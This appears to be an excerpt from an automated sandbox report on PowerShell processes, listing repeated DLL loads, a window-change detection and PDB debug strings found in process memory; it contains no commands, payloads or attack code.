Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ore.pdb source: powershell.exe, 00000019.00000002.2035742087.0000000008275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ommands.Management.pdbR\| source: powershell.exe, 00000011.00000002.1831479504.00000000077B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5\| source: powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000019.00000002.2033503262.000000000725A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdbQ source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1938844634.0000000006EA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbI source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Management.pdbJ source: powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\dll\mscorlib.pdbp:1 source: powershell.exe, 00000019.00000002.2035742087.0000000008275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000011.00000002.1833483484.00000000087F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000015.00000002.1938940274.0000000006EF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >root\Microsoft\Windows\Defenderb.pdb=]yR( source: powershell.exe, 0000001B.00000002.2087595610.0000000006EC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1938844634.0000000006EA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2033123143.00000000071D6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2087484803.0000000006E9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000015.00000002.1940733987.0000000007EBA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2035742087.0000000008245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdba^< source: powershell.exe, 00000011.00000002.1831048549.0000000007741000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb4 source: powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp
